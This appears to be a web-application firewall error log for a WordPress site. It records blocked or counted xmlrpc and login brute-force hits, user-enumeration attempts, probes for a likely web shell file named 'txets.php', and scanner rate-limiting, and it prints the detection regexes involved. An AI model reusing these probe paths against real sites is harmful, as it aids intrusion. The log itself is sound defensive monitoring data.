[Tue Apr 28 06:13:35.226732 2026] [:error] [pid 14578:tid 14633] [client 46.58.178.251:57109] [client 46.58.178.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.58.178.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_fj-ngo3AwIJgfSHEFZwAAAFQ"]
[Tue Apr 28 06:13:45.617835 2026] [:error] [pid 14686:tid 14711] [client 46.58.178.251:56612] [client 46.58.178.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.58.178.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_fme-YPF1Xm7uiWQ4vnwAAANY"]
[Tue Apr 28 06:13:57.040331 2026] [:error] [pid 14578:tid 14613] [client 46.58.178.251:57204] [client 46.58.178.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.58.178.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_fpengo3AwIJgfSHEFqgAAAEA"]
[Tue Apr 28 06:14:06.795333 2026] [:error] [pid 14577:tid 14608] [client 46.58.178.251:55822] [client 46.58.178.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.58.178.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae_frizBH-jwzlgiBdG1GAAAABY"]
[Tue Apr 28 07:48:34.489828 2026] [:error] [pid 33777:tid 33847] [client 170.106.15.3:35190] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae_10rXUCFWqmordGGLKBgAAAQw"]
[Tue Apr 28 09:41:16.534488 2026] [:error] [pid 50889:tid 50897] [client 105.107.200.115:57154] [client 105.107.200.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.107.200.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afAQPIzszBr00txEzGimqgAAAAU"]
[Tue Apr 28 09:41:29.866314 2026] [:error] [pid 2741:tid 2766] [client 105.107.200.115:57583] [client 105.107.200.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.107.200.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afAQSfp92FeOz1h6ILwY3AAAAVQ"]
[Tue Apr 28 09:41:49.413127 2026] [:error] [pid 33775:tid 33796] [client 105.107.200.115:58115] [client 105.107.200.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.107.200.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afAQXZsYOcoQrq88YbXjPwAAANE"]
[Tue Apr 28 09:42:31.805111 2026] [:error] [pid 2741:tid 2756] [client 105.107.200.115:59089] [client 105.107.200.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.107.200.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afAQh_p92FeOz1h6ILwZCAAAAUo"]
[Tue Apr 28 09:42:51.100577 2026] [:error] [pid 2741:tid 2765] [client 105.107.200.115:59562] [client 105.107.200.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.107.200.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afAQm_p92FeOz1h6ILwZFwAAAVM"]
[Tue Apr 28 09:59:57.277948 2026] [:error] [pid 2741:tid 2757] [client 85.11.167.73:62190] [client 85.11.167.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afAUnfp92FeOz1h6ILwhmwAAAUs"]
[Tue Apr 28 10:00:09.481781 2026] [:error] [pid 2741:tid 2763] [client 85.11.167.73:62190] [client 85.11.167.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afAUqfp92FeOz1h6ILwhrAAAAVE"]
[Tue Apr 28 10:00:10.195866 2026] [:error] [pid 2741:tid 2769] [client 85.11.167.73:62190] [client 85.11.167.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afAUqvp92FeOz1h6ILwhrQAAAVc"], referer: http://rcacivilgroup.com/wp-login.php
[Tue Apr 28 10:00:19.961012 2026] [:error] [pid 2741:tid 2748] [client 85.11.167.73:62190] [client 85.11.167.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afAUs_p92FeOz1h6ILwhwgAAAUI"], referer: http://rcacivilgroup.com/wp-login.php
[Tue Apr 28 10:15:10.827727 2026] [:error] [pid 2741:tid 2748] [client 194.26.192.146:53295] [client 194.26.192.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afAYLvp92FeOz1h6ILwm-gAAAUI"]
[Tue Apr 28 10:15:11.718294 2026] [:error] [pid 2741:tid 2751] [client 194.26.192.146:64324] [client 194.26.192.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afAYL_p92FeOz1h6ILwnAAAAAUU"]
[Tue Apr 28 10:15:12.670363 2026] [:error] [pid 50889:tid 50907] [client 194.26.192.146:56748] [client 194.26.192.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afAYMIzszBr00txEzGixcAAAAA8"]
[Tue Apr 28 10:15:15.760521 2026] [:error] [pid 50889:tid 50912] [client 194.26.192.146:64332] [client 194.26.192.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "afAYM4zszBr00txEzGixdQAAABQ"]
[Tue Apr 28 11:01:34.491674 2026] [autoindex:error] [pid 33864:tid 33885] [client 13.75.199.23:9653] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 11:01:34.507252 2026] [:error] [pid 33864:tid 33870] [client 13.75.199.23:9653] [client 13.75.199.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.75.199.23, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "afAjDjXchLGZ4QggCsm66wAAAIQ"]
[Tue Apr 28 11:01:40.589362 2026] [autoindex:error] [pid 33864:tid 33871] [client 13.75.199.23:9653] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 11:01:40.608878 2026] [autoindex:error] [pid 33864:tid 33874] [client 13.75.199.23:9653] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 11:01:41.622459 2026] [autoindex:error] [pid 33864:tid 33866] [client 13.75.199.23:9653] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 11:01:46.478009 2026] [autoindex:error] [pid 33864:tid 33875] [client 13.75.199.23:9653] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 11:01:47.377915 2026] [:error] [pid 33864:tid 33873] [client 13.75.199.23:9653] [client 13.75.199.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "afAjGzXchLGZ4QggCsm7AAAAAIc"]
[Tue Apr 28 11:01:48.378653 2026] [:error] [pid 2741:tid 2754] [client 13.75.199.23:3741] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "afAjHPp92FeOz1h6ILw9MgAAAUg"]
[Tue Apr 28 11:01:48.439186 2026] [:error] [pid 33777:tid 33850] [client 13.75.199.23:9245] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "afAjHLXUCFWqmordGGL9cQAAAQ8"]
[Tue Apr 28 11:01:48.500722 2026] [:error] [pid 50889:tid 50910] [client 13.75.199.23:3739] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "afAjHIzszBr00txEzGjBcAAAABI"]
[Tue Apr 28 11:01:48.560910 2026] [:error] [pid 50889:tid 50898] [client 13.75.199.23:9254] [client 13.75.199.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "afAjHIzszBr00txEzGjBcQAAAAY"]
[Tue Apr 28 12:21:42.894437 2026] [:error] [pid 33777:tid 33849] [client 172.213.8.172:12833] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afA11rXUCFWqmordGGIa5wAAAQ4"]
[Tue Apr 28 12:21:43.830979 2026] [:error] [pid 2741:tid 2770] [client 172.213.8.172:13304] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afA11_p92FeOz1h6ILxnDQAAAVg"]
[Tue Apr 28 12:21:44.816951 2026] [:error] [pid 33776:tid 33817] [client 172.213.8.172:11499] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afA12F-bEJ2CKP3iKADsiwAAAEk"]
[Tue Apr 28 12:21:45.810961 2026] [:error] [pid 2741:tid 2769] [client 172.213.8.172:14392] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afA12fp92FeOz1h6ILxnDgAAAVc"]
[Tue Apr 28 14:23:32.969805 2026] [:error] [pid 50889:tid 50903] [client 170.106.181.163:52066] [client 170.106.181.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afBSZIzszBr00txEzGj6UwAAAAs"]
[Tue Apr 28 14:49:20.459708 2026] [:error] [pid 33864:tid 33879] [client 157.42.22.181:58599] [client 157.42.22.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.42.22.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBYcDXchLGZ4QggCsnoRQAAAI0"]
[Tue Apr 28 14:50:10.381437 2026] [:error] [pid 50889:tid 50899] [client 157.42.22.181:61588] [client 157.42.22.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.42.22.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBYoozszBr00txEzGgAqwAAAAc"]
[Tue Apr 28 14:50:17.478316 2026] [:error] [pid 33777:tid 33847] [client 157.42.22.181:62131] [client 157.42.22.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.42.22.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBYqbXUCFWqmordGGJiRAAAAQw"]
[Tue Apr 28 14:50:27.645674 2026] [:error] [pid 33777:tid 33843] [client 157.42.22.181:62573] [client 157.42.22.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.42.22.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBYs7XUCFWqmordGGJigwAAAQg"]
[Tue Apr 28 14:50:38.008272 2026] [:error] [pid 33777:tid 33851] [client 157.42.22.181:62861] [client 157.42.22.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.42.22.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBYvrXUCFWqmordGGJizAAAARA"]
[Tue Apr 28 14:50:49.063013 2026] [:error] [pid 33777:tid 33840] [client 157.42.22.181:63148] [client 157.42.22.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.42.22.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBYybXUCFWqmordGGJi3wAAAQU"]
[Tue Apr 28 15:05:18.369011 2026] [:error] [pid 33777:tid 33839] [client 43.135.145.77:52456] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afBcLrXUCFWqmordGGJppAAAAQQ"]
[Tue Apr 28 15:48:08.647713 2026] [:error] [pid 50889:tid 50914] [client 49.36.64.31:59503] [client 49.36.64.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.64.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBmOIzszBr00txEzGgMSQAAABY"]
[Tue Apr 28 15:48:18.838084 2026] [:error] [pid 50889:tid 50912] [client 49.36.64.31:59935] [client 49.36.64.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.64.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBmQozszBr00txEzGgMUQAAABQ"]
[Tue Apr 28 15:48:28.349474 2026] [:error] [pid 33775:tid 33784] [client 49.36.64.31:60356] [client 49.36.64.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.64.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBmTJsYOcoQrq88YbUPrgAAAMU"]
[Tue Apr 28 15:48:40.440434 2026] [:error] [pid 2741:tid 2754] [client 49.36.64.31:60754] [client 49.36.64.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.64.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBmWPp92FeOz1h6ILyn3AAAAUg"]
[Tue Apr 28 15:48:52.740188 2026] [:error] [pid 33775:tid 33783] [client 49.36.64.31:61139] [client 49.36.64.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.64.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBmZJsYOcoQrq88YbUPuAAAAMQ"]
[Tue Apr 28 15:49:01.348222 2026] [:error] [pid 33864:tid 33888] [client 49.36.64.31:61521] [client 49.36.64.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.64.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBmbTXchLGZ4QggCsnynAAAAJY"]
[Tue Apr 28 15:53:47.731888 2026] [:error] [pid 33777:tid 33847] [client 45.114.68.82:52993] [client 45.114.68.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.68.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBni7XUCFWqmordGGJ6mgAAAQw"]
[Tue Apr 28 15:53:58.192499 2026] [:error] [pid 50889:tid 50902] [client 45.114.68.82:53466] [client 45.114.68.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.68.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBnlozszBr00txEzGgM8AAAAAo"]
[Tue Apr 28 15:54:08.996872 2026] [:error] [pid 33775:tid 33796] [client 45.114.68.82:53816] [client 45.114.68.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.68.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBnoJsYOcoQrq88YbUQCwAAANE"]
[Tue Apr 28 15:54:19.665318 2026] [:error] [pid 50889:tid 50911] [client 45.114.68.82:54177] [client 45.114.68.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.68.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBnq4zszBr00txEzGgM-gAAABM"]
[Tue Apr 28 15:54:30.294118 2026] [:error] [pid 33776:tid 33827] [client 45.114.68.82:54526] [client 45.114.68.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.114.68.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBntl-bEJ2CKP3iKAALoQAAAFM"]
[Tue Apr 28 15:55:28.412053 2026] [:error] [pid 33776:tid 33823] [client 103.174.31.253:58793] [client 103.174.31.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.174.31.253, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBn8F-bEJ2CKP3iKAALvQAAAE8"]
[Tue Apr 28 15:55:39.417856 2026] [:error] [pid 33864:tid 33868] [client 103.174.31.253:59142] [client 103.174.31.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.174.31.253, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBn-zXchLGZ4QggCsnzaAAAAII"]
[Tue Apr 28 15:55:49.106323 2026] [:error] [pid 33777:tid 33855] [client 103.174.31.253:59464] [client 103.174.31.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.174.31.253, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBoBbXUCFWqmordGGJ7XgAAARQ"]
